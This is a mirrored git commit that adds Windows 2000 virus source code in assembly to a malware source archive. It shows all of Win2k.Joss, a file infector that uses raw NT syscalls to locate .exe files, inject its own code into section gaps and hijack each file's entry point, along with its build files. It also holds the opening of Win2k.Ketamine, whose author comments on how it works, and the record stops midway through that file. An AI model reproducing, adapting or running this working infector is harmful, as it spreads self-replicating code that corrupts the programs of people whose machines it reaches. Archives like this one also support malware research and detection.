mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Add files via upload
This commit is contained in:
parent
274e38533a
commit
cb8e4ddb00
2480
LegacyWindows/Win2k.CannaByte.asm
Normal file
2480
LegacyWindows/Win2k.CannaByte.asm
Normal file
File diff suppressed because it is too large
Load Diff
2939
LegacyWindows/Win2k.CannaByte.v2.asm
Normal file
2939
LegacyWindows/Win2k.CannaByte.v2.asm
Normal file
File diff suppressed because it is too large
Load Diff
1062
LegacyWindows/Win2k.DOB.asm
Normal file
1062
LegacyWindows/Win2k.DOB.asm
Normal file
File diff suppressed because it is too large
Load Diff
715
LegacyWindows/Win2k.Joss.asm
Normal file
715
LegacyWindows/Win2k.Joss.asm
Normal file
@ -0,0 +1,715 @@
|
||||
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
|
||||
; Win2k.Joss by Ratter/29A
|
||||
|
||||
.586p
|
||||
.model flat, stdcall
|
||||
locals
|
||||
|
||||
include useful.inc
|
||||
include win32api.inc
|
||||
include mz.inc
|
||||
include pe.inc
|
||||
include my_macroz.inc
|
||||
|
||||
NtOpenFile equ 64h
|
||||
NtQueryDirectoryFile equ 7dh
|
||||
NtClose equ 18h
|
||||
NtCreateSection equ 2bh
|
||||
NtMapViewOfSection equ 5dh
|
||||
NtUnmapViewOfSection equ 0e7h
|
||||
|
||||
unicode_string struc
|
||||
us_length dw ?
|
||||
dw ?
|
||||
us_pstring dd ?
|
||||
unicode_string ends
|
||||
|
||||
path_name struc
|
||||
pn_name dw MAX_PATH dup(?)
|
||||
path_name ends
|
||||
|
||||
object_attributes struc
|
||||
oa_length dd ?
|
||||
oa_rootdir dd ?
|
||||
oa_objectname dd ?
|
||||
oa_attribz dd ?
|
||||
oa_secdesc dd ?
|
||||
oa_secqos dd ?
|
||||
object_attributes ends
|
||||
|
||||
pio_status_block struc
|
||||
psb_ntstatus dd ?
|
||||
psb_info dd ?
|
||||
pio_status_block ends
|
||||
|
||||
@asciiz_to_unicode macro
|
||||
xor ah, ah
|
||||
lodsb
|
||||
stosw
|
||||
test al, al
|
||||
jz $+4
|
||||
jmp $-7
|
||||
endm
|
||||
|
||||
@syscall macro fc, paramz
|
||||
mov eax, fc
|
||||
mov edx, esp
|
||||
int 2eh
|
||||
add esp, (paramz*4)
|
||||
endm
|
||||
|
||||
.data
|
||||
db ?
|
||||
|
||||
.code
|
||||
|
||||
start_:
|
||||
_joss_start_ equ $
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp joss_end>
|
||||
|
||||
bt dword ptr [esp+8+cPushad], 31
|
||||
jc joss_end
|
||||
|
||||
start proc near
|
||||
local trailings:unicode_string
|
||||
local trailings_point_dir:path_name
|
||||
local object_attribz:object_attributes
|
||||
local dhandle:DWORD
|
||||
local io_status_block:pio_status_block
|
||||
local find_buffer:path_name
|
||||
|
||||
local wfnd:WIN32_FIND_DATA
|
||||
|
||||
mov dword ptr [trailings], 80008h
|
||||
lea eax, [trailings_point_dir]
|
||||
mov dword ptr [trailings.us_pstring], eax
|
||||
|
||||
@pushsz "\??\"
|
||||
pop esi
|
||||
xchg eax, edi
|
||||
@asciiz_to_unicode
|
||||
|
||||
xor ecx, ecx
|
||||
mov esi, 20290h
|
||||
movzx eax, word ptr [trailings]
|
||||
lea edi, [trailings_point_dir+eax]
|
||||
|
||||
lodsw
|
||||
test ax, ax
|
||||
jz $+7
|
||||
inc ecx
|
||||
stosw
|
||||
jmp $-10
|
||||
|
||||
shl ecx, 1
|
||||
add cx, word ptr [trailings]
|
||||
mov ax, cx
|
||||
shl ecx, 16
|
||||
mov cx, ax
|
||||
mov dword ptr [trailings], ecx
|
||||
|
||||
xor eax, eax
|
||||
lea edi, [object_attribz]
|
||||
push edi
|
||||
push 18h/4
|
||||
pop ecx
|
||||
rep stosd
|
||||
pop edi
|
||||
|
||||
push 18h
|
||||
pop dword ptr [edi]
|
||||
lea eax, [trailings]
|
||||
mov dword ptr [edi+8], eax
|
||||
push 40h
|
||||
pop dword ptr [edi+12]
|
||||
|
||||
push 4021h
|
||||
push 03h
|
||||
lea eax, [io_status_block]
|
||||
push eax
|
||||
push edi
|
||||
push 100001h
|
||||
lea eax, [dhandle]
|
||||
push eax
|
||||
@syscall NtOpenFile, 6
|
||||
mov ebx, dword ptr [dhandle]
|
||||
|
||||
xor ecx, ecx
|
||||
main_loop:
|
||||
push ecx
|
||||
|
||||
xor eax, eax
|
||||
push eax
|
||||
call $+13
|
||||
dw 0ah
|
||||
dw 0ah
|
||||
dd ?
|
||||
pop esi
|
||||
call $+15
|
||||
dw '<', '.', 'e', 'x', 'e'
|
||||
pop edi
|
||||
mov dword ptr [esi+4], edi
|
||||
jecxz $+4
|
||||
xor esi, esi
|
||||
push esi
|
||||
push 1
|
||||
push 3
|
||||
push MAX_PATH*2
|
||||
lea edx, [find_buffer]
|
||||
push edx
|
||||
lea edx, [io_status_block]
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push ebx
|
||||
@syscall NtQueryDirectoryFile, 11
|
||||
pop ecx
|
||||
test eax, eax
|
||||
jnz main_loop_end
|
||||
|
||||
push dword ptr [trailings]
|
||||
|
||||
lea esi, [find_buffer]
|
||||
lea edi, [trailings]
|
||||
call infect_file
|
||||
|
||||
pop dword ptr [trailings]
|
||||
|
||||
inc ecx
|
||||
jmp main_loop
|
||||
|
||||
main_loop_end:
|
||||
push ebx
|
||||
@syscall NtClose, 1
|
||||
|
||||
leave
|
||||
joss_end:
|
||||
@SEH_RemoveFrame
|
||||
popad
|
||||
mov eax, offset end
|
||||
host_start equ $-4
|
||||
jmp eax
|
||||
|
||||
db 0, "[Win2k.Joss] by Ratter/29A", 0
|
||||
|
||||
infect_file proc near
|
||||
local trailings_point_dir:path_name
|
||||
local object_attribz:object_attributes
|
||||
local dhandle:DWORD
|
||||
local shandle:DWORD
|
||||
local io_status_block:pio_status_block
|
||||
local soffset:DWORD
|
||||
local bytes:DWORD
|
||||
local soffset_:QWORD
|
||||
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp infect_file_end>
|
||||
|
||||
movzx eax, word ptr [edi]
|
||||
mov edx, dword ptr [edi+4]
|
||||
push edi
|
||||
lea edi, [edx+eax]
|
||||
|
||||
mov ecx, dword ptr [esi+3ch]
|
||||
push ecx
|
||||
lea esi, [esi+5eh]
|
||||
rep movsb
|
||||
|
||||
pop ecx
|
||||
pop edi
|
||||
|
||||
add cx, word ptr [edi]
|
||||
mov ax, cx
|
||||
shl ecx, 16
|
||||
mov cx, ax
|
||||
mov dword ptr [edi], ecx
|
||||
xchg edi, esi
|
||||
|
||||
xor eax, eax
|
||||
lea edi, [object_attribz]
|
||||
push edi
|
||||
push 18h/4
|
||||
pop ecx
|
||||
rep stosd
|
||||
pop edi
|
||||
|
||||
push 18h
|
||||
pop dword ptr [edi]
|
||||
mov dword ptr [edi+8], esi
|
||||
push 40h
|
||||
pop dword ptr [edi+12]
|
||||
|
||||
push 4060h
|
||||
push 03h
|
||||
lea eax, [io_status_block]
|
||||
push eax
|
||||
push edi
|
||||
push 100007h
|
||||
lea eax, [dhandle]
|
||||
push eax
|
||||
@syscall NtOpenFile, 6
|
||||
test eax, eax
|
||||
jnz infect_file_end
|
||||
|
||||
xor eax, eax
|
||||
push dword ptr [dhandle]
|
||||
push 08000000h
|
||||
push PAGE_READWRITE
|
||||
push eax
|
||||
push eax
|
||||
push 0f0007h
|
||||
lea eax, [shandle]
|
||||
push eax
|
||||
@syscall NtCreateSection, 7
|
||||
test eax, eax
|
||||
jnz infect_file_end_close_file
|
||||
|
||||
lea edi, [soffset]
|
||||
std
|
||||
mov ecx, 4
|
||||
xor eax, eax
|
||||
rep stosd
|
||||
cld
|
||||
|
||||
xor eax, eax
|
||||
push 4
|
||||
push eax
|
||||
push 1
|
||||
lea edx, [bytes]
|
||||
push edx
|
||||
lea edx, [soffset_]
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
lea eax, [soffset]
|
||||
push eax
|
||||
push -1
|
||||
push dword ptr [shandle]
|
||||
@syscall NtMapViewOfSection, 10
|
||||
test eax, eax
|
||||
jnz infect_file_end_close_section
|
||||
mov ebx, dword ptr [soffset]
|
||||
|
||||
;
|
||||
call check_for_valid_pe
|
||||
jc infect_file_end_unmap_view
|
||||
jnz infect_file_end_unmap_view
|
||||
|
||||
cmp dword ptr [ebx.MZ_res], not "RAT"
|
||||
jz infect_file_end_unmap_view
|
||||
|
||||
mov eax, dword ptr [ebx.MZ_lfanew]
|
||||
add eax, ebx
|
||||
movzx edi, word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||||
lea edi, [edi+eax+IMAGE_SIZEOF_FILE_HEADER+4]
|
||||
mov esi, dword ptr [edi.SH_PointerToRawData]
|
||||
mov ecx, dword ptr [edi.SH_SizeOfRawData]
|
||||
add esi, ebx
|
||||
|
||||
xor edx, edx
|
||||
gap_loop:
|
||||
jecxz gap_loop_end
|
||||
lodsb
|
||||
dec ecx
|
||||
call is_gap
|
||||
jz $+6
|
||||
xor edx, edx
|
||||
jmp gap_loop
|
||||
|
||||
inc edx
|
||||
cmp edx, _joss_end_-_joss_start_
|
||||
jnz gap_loop
|
||||
|
||||
gap_loop_end:
|
||||
cmp edx, _joss_end_-_joss_start_
|
||||
jnz infect_file_end_unmap_view
|
||||
|
||||
sub esi, _joss_end_-_joss_start_
|
||||
push esi
|
||||
sub esi, dword ptr [edi.SH_PointerToRawData]
|
||||
pop edi
|
||||
sub esi, ebx
|
||||
|
||||
push esi
|
||||
call $+5
|
||||
joss_here:
|
||||
pop esi
|
||||
sub esi, joss_here-_joss_start_
|
||||
mov ecx, _joss_end_-_joss_start_
|
||||
rep movsb
|
||||
pop esi
|
||||
|
||||
mov eax, dword ptr [ebx.MZ_lfanew]
|
||||
mov dword ptr [ebx.MZ_res], not "RAT"
|
||||
add eax, ebx
|
||||
and dword ptr [eax.NT_OptionalHeader.OH_CheckSum], 0
|
||||
|
||||
mov ecx, dword ptr [eax.NT_OptionalHeader.OH_ImageBase]
|
||||
add ecx, dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||||
mov dword ptr [edi-(_joss_end_-host_start)], ecx
|
||||
|
||||
mov edx, dword ptr [eax.NT_OptionalHeader.OH_BaseOfCode]
|
||||
add edx, esi
|
||||
mov dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
|
||||
;
|
||||
|
||||
infect_file_end_unmap_view:
|
||||
push ebx
|
||||
push -1
|
||||
@syscall NtUnmapViewOfSection, 2
|
||||
infect_file_end_close_section:
|
||||
push dword ptr [shandle]
|
||||
@syscall NtClose, 1
|
||||
infect_file_end_close_file:
|
||||
push dword ptr [dhandle]
|
||||
@syscall NtClose, 1
|
||||
infect_file_end:
|
||||
@SEH_RemoveFrame
|
||||
popad
|
||||
leave
|
||||
retn
|
||||
infect_file endp
|
||||
|
||||
check_for_valid_pe:
|
||||
pushad
|
||||
movzx eax, word ptr [ebx]
|
||||
not eax
|
||||
cmp eax, not "ZM"
|
||||
stc
|
||||
jnz check_for_valid_pe_end
|
||||
mov edx, dword ptr [ebx.MZ_lfanew]
|
||||
add edx, ebx
|
||||
movzx eax, word ptr [edx]
|
||||
not eax
|
||||
cmp eax, not "EP"
|
||||
stc
|
||||
jnz check_for_valid_pe_end
|
||||
cmp word ptr [edx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
|
||||
stc
|
||||
jnz check_for_valid_pe_end
|
||||
movzx eax, word ptr [edx.NT_FileHeader.FH_Characteristics]
|
||||
not al
|
||||
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
|
||||
clc
|
||||
check_for_valid_pe_end:
|
||||
popad
|
||||
retn
|
||||
|
||||
is_gap:
|
||||
cmp al, 90h
|
||||
jz is_gap_end
|
||||
cmp al, 0cch
|
||||
jz is_gap_end
|
||||
test al, al
|
||||
jz is_gap_end
|
||||
is_gap_end:
|
||||
retn
|
||||
|
||||
_joss_end_ equ $
|
||||
|
||||
end:
|
||||
push 0
|
||||
calle ExitProcess
|
||||
|
||||
start endp
|
||||
end start_
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
|
||||
NAME PREDLOHA WINDOWAPI
|
||||
|
||||
DESCRIPTION 'Predloha'
|
||||
|
||||
CODE PRELOAD MOVEABLE DISCARDABLE
|
||||
DATA PRELOAD MOVEABLE MULTIPLE
|
||||
|
||||
EXETYPE WINDOWS
|
||||
|
||||
HEAPSIZE 131072
|
||||
STACKSIZE 131072
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
|
||||
SERVICE_TABLE_ENTRY struc
|
||||
STE_ServiceName dd ?
|
||||
STE_ServiceProc dd ?
|
||||
SERVICE_TABLE_ENTRY ends
|
||||
|
||||
SERVICE_STATUS struc
|
||||
SS_ServiceType dd ?
|
||||
SS_CurrentState dd ?
|
||||
SS_ControlsAccepted dd ?
|
||||
SS_Win32ExitCode dd ?
|
||||
SS_ServiceSpecificExitCode dd ?
|
||||
SS_CheckPoint dd ?
|
||||
SS_WaitHint dd ?
|
||||
SERVICE_STATUS ends
|
||||
|
||||
OVERLAPPED struc
|
||||
O_Internal dd ?
|
||||
O_InternalHigh dd ?
|
||||
O_loffset dd ?
|
||||
O_OffsetHigh dd ?
|
||||
O_hEvent dd ?
|
||||
OVERLAPPED ends
|
||||
|
||||
sockaddr_in struc
|
||||
sin_family dw ?
|
||||
sin_port dw ?
|
||||
sin_addr dd ?
|
||||
sin_zero db 8 dup (?)
|
||||
sockaddr_in ends
|
||||
|
||||
hostent struc
|
||||
h_name dd ?
|
||||
h_alias dd ?
|
||||
h_addr dw ?
|
||||
h_len dw ?
|
||||
h_list dd ?
|
||||
hostent ends
|
||||
|
||||
timeval struc
|
||||
tv_sec dd ?
|
||||
tv_usec dd ?
|
||||
timeval ends
|
||||
|
||||
fd_set struc
|
||||
fd_count dd ?
|
||||
fd_array dd ?
|
||||
fd_set ends
|
||||
|
||||
RASCONNSTATUSA struc
|
||||
RCS_dwSize dd ?
|
||||
RCS_rasconnstate dd ?
|
||||
RCS_dwError dd ?
|
||||
RCS_szDeviceType db 16 + 1 dup(?)
|
||||
RCS_szDeviceName db 128 + 1 dup(?)
|
||||
RASCONNSTATUSA ends
|
||||
|
||||
_email_ struc
|
||||
EM_MailFrom dd ? ; pointer to ASCIIZ
|
||||
EM_RcptTo dd ? ; pointer to ASCIIZ
|
||||
EM_Subject dd ? ; pointer to ASCIIZ
|
||||
EM_Message dd ? ; pointer to ASCIIZ
|
||||
EM_FilezNum dd ? ; number of filez; if highest bit is set
|
||||
; then in EM_Filez is a *.msg file
|
||||
EM_Filez dd ? ; pointer to ASCIIZ pointerz
|
||||
_email_ ends
|
||||
|
||||
SYSTEMTIME struc
|
||||
ST_Year dw ?
|
||||
ST_Month dw ?
|
||||
ST_DayOfWeek dw ?
|
||||
ST_Day dw ?
|
||||
ST_Hour dw ?
|
||||
ST_Minute dw ?
|
||||
ST_Second dw ?
|
||||
ST_Milliseconds dw ?
|
||||
SYSTEMTIME ends
|
||||
|
||||
oper struc
|
||||
OP_Oper dd ?
|
||||
OP_Rites db ? ; 1 - RW; 0 - Ronly
|
||||
oper ends
|
||||
|
||||
@copy macro source
|
||||
local copy_end
|
||||
local copy_loop
|
||||
push esi
|
||||
mov esi, source
|
||||
copy_loop:
|
||||
lodsb
|
||||
test al, al
|
||||
jz copy_end
|
||||
stosb
|
||||
jmp copy_loop
|
||||
copy_end:
|
||||
pop esi
|
||||
endm
|
||||
|
||||
@endsz_ macro
|
||||
local nxtchr
|
||||
push esi
|
||||
mov esi, edi
|
||||
nxtchr:
|
||||
lodsb
|
||||
test al, al
|
||||
jnz nxtchr
|
||||
xchg esi, edi
|
||||
pop esi
|
||||
endm
|
||||
|
||||
@pushvar macro variable, empty
|
||||
local next_instr
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushvar'
|
||||
.err
|
||||
endif
|
||||
call next_instr
|
||||
variable
|
||||
next_instr:
|
||||
endm
|
||||
|
||||
CR_LF equ 0a0dh
|
||||
WAIT_TIMEOUT equ 103h
|
||||
SMTP_PORT equ 25
|
||||
|
||||
SC_MANAGER_CONNECT equ 1
|
||||
SC_MANAGER_CREATE_SERVICE equ 2
|
||||
DELETE equ 10000h
|
||||
SERVICE_AUTO_START equ 2
|
||||
SERVICE_WIN32_OWN_PROCESS equ 10h
|
||||
SERVICE_ACCEPT_SHUTDOWN equ 4
|
||||
SERVICE_CONTROL_RUN equ 0
|
||||
CK_SERVICE_CONTROL equ 0
|
||||
CK_PIPE equ 1
|
||||
NO_ERROR equ 0
|
||||
|
||||
SERVICE_CONTROL_INTERROGATE equ 4
|
||||
SERVICE_CONTROL_SHUTDOWN equ 5
|
||||
|
||||
SERVICE_STOPPED equ 1
|
||||
SERVICE_START_PENDING equ 2
|
||||
SERVICE_STOP_PENDING equ 3
|
||||
SERVICE_RUNNING equ 4
|
||||
SERVICE_CONTINUE_PENDING equ 5
|
||||
SERVICE_PAUSE_PENDING equ 6
|
||||
SERVICE_PAUSED equ 7
|
||||
|
||||
PIPE_ACCESS_OUTBOUND equ 2
|
||||
PIPE_TYPE_BYTE equ 0
|
||||
FILE_FLAG_OVERLAPPED equ 40000000h
|
||||
|
||||
INFINITE equ -1
|
||||
|
||||
AF_INET equ 2
|
||||
HEAP_ZERO_MEMORY equ 8
|
||||
SOCK_STREAM equ 1
|
||||
CR_LF equ 0a0dh
|
||||
MAX_ALLOWED_OPERZ equ 5
|
||||
SYNCHRONIZE equ 100000h
|
||||
|
||||
RASCS_CONNECTED equ 2000h
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT equ 4
|
||||
HKEY_LOCAL_MACHINE equ 80000002h
|
||||
KEY_ENUMERATE_SUB_KEYS equ 8h
|
||||
HKEY_USERS equ 80000003h
|
||||
KEY_QUERY_VALUE equ 1
|
||||
KEY_SET_VALUE equ 2
|
||||
REG_SZ equ 1
|
||||
REG_DWORD equ 4
|
||||
ERROR_NO_MORE_ITEMS equ 259
|
||||
|
||||
INET_THREADZ_COUNT equ 2
|
||||
INTERNET_OPEN_TYPE_DIRECT equ 1
|
||||
|
||||
POP3_PORT equ 110
|
||||
OK equ " KO+"
|
||||
ERROR equ "RRE-"
|
||||
|
||||
SOXZ_PORT equ 1080
|
||||
|
||||
STARTUPINFO STRUCT ;used by CreateProcessA API
|
||||
cb DWORD ?
|
||||
lpReserved DWORD ?
|
||||
lpDesktop DWORD ?
|
||||
lpTitle DWORD ?
|
||||
dwX DWORD ?
|
||||
dwY DWORD ?
|
||||
dwXSize DWORD ?
|
||||
dwYSize DWORD ?
|
||||
dwXCountChars DWORD ?
|
||||
dwYCountChars DWORD ?
|
||||
dwFillAttribute DWORD ?
|
||||
dwFlags DWORD ?
|
||||
wShowWindow WORD ?
|
||||
cbReserved2 WORD ?
|
||||
lpReserved2 DWORD ?
|
||||
hStdInput DWORD ?
|
||||
hStdOutput DWORD ?
|
||||
hStdError DWORD ?
|
||||
STARTUPINFO ENDS
|
||||
PROCESS_INFORMATION STRUCT
|
||||
hProcess DWORD ?
|
||||
hThread DWORD ?
|
||||
dwProcessId DWORD ?
|
||||
dwThreadId DWORD ?
|
||||
PROCESS_INFORMATION ENDS
|
||||
|
||||
GMEM_ZEROINIT equ 040h
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
|
||||
@pushvar macro variable, empty
|
||||
local next_instr
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushvar'
|
||||
.err
|
||||
endif
|
||||
call next_instr
|
||||
variable
|
||||
next_instr:
|
||||
endm
|
||||
|
||||
@messagebox macro message, empty
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushvar'
|
||||
.err
|
||||
endif
|
||||
push 0
|
||||
@pushsz "Debug"
|
||||
@pushsz <message>
|
||||
push 0
|
||||
call MessageBoxA
|
||||
endm
|
||||
|
||||
calle macro api
|
||||
extrn api:PROC
|
||||
call api
|
||||
endm
|
||||
|
||||
@gimme_delta macro
|
||||
local gimme_delta
|
||||
call gimme_delta
|
||||
gimme_delta:
|
||||
mov esi, esp
|
||||
lodsd
|
||||
sub eax, offset gimme_delta
|
||||
xchg eax, ebp
|
||||
mov esp, esi
|
||||
endm
|
||||
|
||||
calla macro api
|
||||
call dword ptr [ebp+api]
|
||||
endm
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ
|
||||
# make Will build pemangle.exe
|
||||
# make -B -DDEBUG Will build the debug version of pemangle.exe
|
||||
|
||||
NAME = joss
|
||||
OBJS = $(NAME).obj
|
||||
DEF = $(NAME).def
|
||||
|
||||
!if $d(DEBUG)
|
||||
TASMDEBUG=/zi /m
|
||||
LINKDEBUG=/v
|
||||
!else
|
||||
TASMDEBUG=/m
|
||||
LINKDEBUG=
|
||||
!endif
|
||||
|
||||
!if $d(MAKEDIR)
|
||||
IMPORT=import32.lib # Edit this to point your own library path
|
||||
!else
|
||||
IMPORT=import32.lib # or put the file in the same directory
|
||||
!endif
|
||||
|
||||
$(NAME).EXE: $(OBJS) $(DEF)
|
||||
tlink32 /Tpe /aa /c /x $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF)
|
||||
pewrite.exe $(NAME).exe
|
||||
del $(OBJS)
|
||||
|
||||
.asm.obj:
|
||||
tasm32 $(TASMDEBUG) /ml /i..\..\includes $&.asm
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ
|
547
LegacyWindows/Win2k.Ketamine.asm
Normal file
547
LegacyWindows/Win2k.Ketamine.asm
Normal file
@ -0,0 +1,547 @@
|
||||
|
||||
COMMENT#
|
||||
|
||||
Ú¿
|
||||
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
|
||||
ÃÅÅÅÅÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÅÅÅÅ´
|
||||
ÃÅÅÅ´ Win2k.Ketamine ÃÅÅÅ´
|
||||
ÃÅÅÅ´ by Benny/29A ÃÅÅÅ´
|
||||
ÃÅÅÅÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÅÅÅÅ´
|
||||
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
|
||||
ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÙ
|
||||
|
||||
|
||||
|
||||
This is my next (very small) virus, specialised on Win2k machinez. It should be also
|
||||
able to run under WinNT machinez, but I'm not sure, becoz I didn't test it. The virus
|
||||
does not use any APIz, instead of that, its uses NT syscallz. The virus does not do
|
||||
anything special apart of that, it can only infect all EXE filez in current folder
|
||||
and does not manifest itself in any way. Infected filez have the same size, becoz
|
||||
virus overwritez the relocation section. The virus should be compatible with newer
|
||||
versionz of Windows OS'ez based on NT system. The only point of incompatibility is,
|
||||
becoz I decided to not use ANY API, the code where the virus expect the fixed address
|
||||
of NTDLL.dll modul loaded in process virtual memory. Virus searchez inside the NTDLL.dll
|
||||
for syscall numberz and so it SHOULD be forward compatible. At least a bit...;-)
|
||||
|
||||
Here I have to thank Ratter, he inspired me a lot with his Win2k.Joss. The functionality
|
||||
of Win2k.Ketamine and Win2k.Joss is almost the same, I only recoded some of his code on my
|
||||
own and added a few new ideaz, which should make Ketamine more compatible with Windows,
|
||||
rather than Joss. I have to say, that he inspired me a lot, but the code is not ripped. I
|
||||
also disassembled NTDLL.dll and NTOSKRNL.EXE and found the same resultz as him, surprisely ;-D
|
||||
But ofcoz, I decided to not discover the America again and so I used some of his code in
|
||||
my virus.
|
||||
|
||||
The virus was coded only to show that something is possible, not to make high-spreading virus.
|
||||
|
||||
Enjoy it!
|
||||
|
||||
|
||||
|
||||
(c)oded in August, 2001
|
||||
Czech Republic.
|
||||
#
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
.386p
|
||||
.model flat,stdcall
|
||||
locals
|
||||
|
||||
include win32api.inc
|
||||
include useful.inc
|
||||
include mz.inc
|
||||
include pe.inc
|
||||
|
||||
|
||||
invoke macro api ;macro for API callz
|
||||
extrn api:PROC
|
||||
call api
|
||||
endm
|
||||
|
||||
|
||||
unicode_string struc
|
||||
us_length dd ? ;length of the string
|
||||
us_pstring dd ? ;ptr to string
|
||||
unicode_string ends
|
||||
|
||||
|
||||
path struc
|
||||
p_path dw MAX_PATH dup (?) ;maximal length of path in unicode
|
||||
path ends
|
||||
|
||||
|
||||
object_attributes struc
|
||||
oa_length dd ? ;length of structure
|
||||
oa_rootdir dd ?
|
||||
oa_objectname dd ? ;name of object
|
||||
oa_attribz dd ? ;attributez of the object
|
||||
oa_secdesc dd ?
|
||||
oa_secqos dd ?
|
||||
object_attributes ends
|
||||
|
||||
|
||||
pio_status struc ;status structure
|
||||
ps_ntstatus dd ?
|
||||
ps_info dd ?
|
||||
pio_status ends
|
||||
|
||||
|
||||
.data
|
||||
db ? ;some data
|
||||
|
||||
|
||||
.code
|
||||
_Start: pushad
|
||||
gdelta = $+5 ;delta offset
|
||||
@SEH_SetupFrame <jmp end_seh>
|
||||
|
||||
mov edx,cs
|
||||
xor dl,dl
|
||||
jne end_seh ;must be under winNT/2k!
|
||||
|
||||
mov ebp,[esp+4]
|
||||
call get_syscalls ;get numberz of all needed syscallz
|
||||
|
||||
Start Proc
|
||||
local uni_string:unicode_string
|
||||
local u_string:path
|
||||
local object_attr:object_attributes
|
||||
local io_status:pio_status
|
||||
local dHandle:DWORD
|
||||
local WFD:WIN32_FIND_DATA
|
||||
|
||||
mov [uni_string.us_length],80008h ;length of the string
|
||||
lea edi,[u_string]
|
||||
mov [uni_string.us_pstring],edi ;set the pointer
|
||||
call @qm
|
||||
dw '\','?','?','\' ;initial string of the object
|
||||
@qm: pop esi
|
||||
movsd
|
||||
movsd ;save it
|
||||
mov esi,fs:[18h]
|
||||
mov esi,[esi+30h]
|
||||
mov esi,[esi+10h]
|
||||
add esi,24h
|
||||
mov esi,[esi+4] ;ESI = current folder
|
||||
xor ecx,ecx
|
||||
l_copy: lodsw
|
||||
inc ecx
|
||||
stosw ;append it
|
||||
test eax,eax
|
||||
jne l_copy
|
||||
dec ecx
|
||||
|
||||
lea edi,[uni_string]
|
||||
shl ecx,1
|
||||
add cx,[edi]
|
||||
mov ax,cx
|
||||
shl ecx,16
|
||||
mov cx,ax
|
||||
mov [edi],ecx ;save the new length
|
||||
|
||||
xor ecx,ecx ;initialize the structure ...
|
||||
lea eax,[uni_string]
|
||||
lea edi,[object_attr]
|
||||
mov [edi.oa_length],24
|
||||
and [edi.oa_rootdir],ecx
|
||||
mov [edi.oa_objectname],eax
|
||||
mov [edi.oa_attribz],40h
|
||||
and [edi.oa_secdesc],ecx
|
||||
and [edi.oa_secqos],ecx
|
||||
|
||||
push 4021h
|
||||
push 3h
|
||||
lea eax,[io_status]
|
||||
push eax
|
||||
push edi
|
||||
push 100001h
|
||||
